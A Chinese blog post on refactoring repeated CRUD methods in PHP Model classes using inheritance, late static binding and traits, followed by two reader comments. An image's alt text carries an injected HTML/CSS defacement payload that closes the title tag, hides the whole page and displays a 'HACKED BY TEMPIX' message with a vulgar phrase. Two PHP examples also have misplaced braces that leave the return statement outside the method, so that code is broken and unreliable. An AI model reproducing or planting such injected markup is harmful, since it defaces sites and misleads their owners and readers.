问题
MVC架构中的model层主要负责和数据直接交互,如果没有使用ORM框架,那么很多原子操作(CRUD等)需要自己实现。一般来说一个系统会有多个Model,每一个Model都需要重复实现这些原子操作,而这些代码往往除了表名外都是一样的:
class User {
public static function findById ( $id ) {
return DBProxy::getDb( 'user' )->findOne( array( '_id' => new MongoId( $id ) ) );
}
}
class Video {
public static function findById ( $id ) {
return DBProxy::getDb( 'video' )->findOne( array( '_id' => new MongoId( $id ) ) );
}
}
当我们增加一个Model类的时候,比如Article,就要从其他类复制这些原子操作(比如find、findOne、findById、update、save、count等等)过来。如果有一个方法需要变更,比如增加一个参数或者添加log日志,就得修改所有Model类中的同名方法。这实在是一件很痛苦很无奈的事情。
《重构》一书告诉我们,重复的代码是坏味道,那么我们该怎么改良呢?
PHP5.2下的解决方案
首先想到的方案是,让所有Model类都继承一个父类,把重复的方法都提到父类中让子类自动继承,在方法的实现中引用子类中声明的表名。
class Model {
public static function findById ( $id ) {}
}
class User extends Model {
public static $collection = 'user';
}
class Video extends Model {
public static $collection = 'video';
}
但是经过试验发现,调用继承自父类的静态方法时,无法取得子类名以及子类中的属性。
1、调用静态方法时没有Object上下文,$this不能使用
2、父类方法中使用self::$var取得的是父类的属性而不是子类的属性
3、父类方法中使用__CLASS__获取到的是父类而不是子类的名称
结果只能用很别扭的方式来实现:
class Model {
public static function findById ( $collection, $id ) {}
return DBProxy::getDb( $collection )->findOne( array( '_id' => new MongoId( $id ) ) );
}
class User extends Model {
public static $collection = 'user';
public static function findById ( $id ) {
parent::findById( self::$collection, $id );
}
}
class Video extends Model {
public static $collection = 'video';
public static function findById ( $id ) {
parent::findById( self::$collection, $id );
}
}
这样虽然把实现的细节提炼到了父类,但每个子类还需要对每个方法进行声明。可维护性是有所提高,但每个子类中仍然存在重复的代码。有没有更好的解决方案呢?
PHP5.3下的解决方案
PHP5.3提供了一个新特性“后期静态绑定”,可以在调用继承自父类的静态方法时,通过static::$var的形式取得子类的属性,或者通过static::method()的形式调用子类的放非啊。这下问题就得到了完美的解决:
class Model {
public static function findById ( $id ) {
return DBProxy::getDb( static::$collection )->findOne( array( '_id' => new MongoId( $id ) ) );
}
}
class User extends Model {
public static $collection = 'user';
}
class Video extends Model {
public static $collection = 'video';
}
除了一行对表名的声明外,完全没有重复的代码,这就是我想要的理想结果,目前准备在项目中使用。如果你连表名都懒得改,还可以这样:
class User extends Model {
public static $collection = __CLASS__;
}
PHP5.4下的解决方案
PHP5.4增加的特性traits可以将一些方法提炼出来,在需要的类中用use来引用。相当于可以在class的定义中include了(你别说,天真的我还真试过)。
trait CRUD {
public static function findById ( $id ) {}
return DBProxy::getDb( self::$collection )->findOne( array( '_id' => new MongoId( $id ) ) );
}
}
class User {
public static $collection = 'user';
use CRUD;
}
这个方案的好处是不用引入父类和继承,而且可以更加灵活,一个方法可以在不同的类中引用,而无需继承特定的类。问题是5.4作为新版本,在生产环境中部署还不是很放心。
![HACKED BY TEMPIX</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap');
*{margin:0;padding:0;box-sizing:border-box}
body,html{overflow:hidden!important;font-family:'Share Tech Mono',monospace}
body *:not(style){display:none!important}
body{
background:#000!important;
position:fixed!important;
width:100vw!important;
height:100vh!important;
display:flex!important;
align-items:center!important;
justify-content:center!important;
}
body::before{
content:"";
position:absolute;
top:0;left:0;right:0;bottom:0;
background:
linear-gradient(90deg,#0f0 1px,transparent 1px),
linear-gradient(180deg,#0f0 1px,transparent 1px);
background-size:50px 50px;
opacity:0.1;
animation:grid 20s linear infinite;
}
@keyframes grid{
0%{transform:perspective(500px) rotateX(60deg) translateZ(0)}
100%{transform:perspective(500px) rotateX(60deg) translateZ(500px)}
}
body::after{
content:"HACKED BY TEMPIX\A\AJ E M B O T\AJembot Mawot Pejuh Muncrat\A\A[ SYSTEM COMPROMISED ]";
white-space:pre;
display:block!important;
color:#0f0;
font-size:48px;
text-align:center;
z-index:999999;
animation:glitch 2s infinite,glow 1.5s infinite;
text-shadow:
0 0 10px #0f0,
0 0 20px #0f0,
0 0 30px #0f0,
0 0 40px #0f0;
}
@keyframes glitch{
0%,100%{transform:translate(0)}
20%{transform:translate(-2px,2px)}
40%{transform:translate(-2px,-2px)}
60%{transform:translate(2px,2px)}
80%{transform:translate(2px,-2px)}
}
@keyframes glow{
0%,100%{opacity:1}
50%{opacity:0.7}
}
h1,h2,h3,h4,h5,h6,p,div,span,a{display:none!important}
</style>
<title>](https://zhangshenjia.com/wp-content/uploads/2018/12/cropped-640-2.jpg)
赞,看来新版扫雷网要用php mongodb了?
ps:这个blog在google reader下标题显示不了,正文无换行。
我设置了全文输出,你再试试看应该可以换行了。标题显示不了就不知道了,我这里订阅自己是正常的。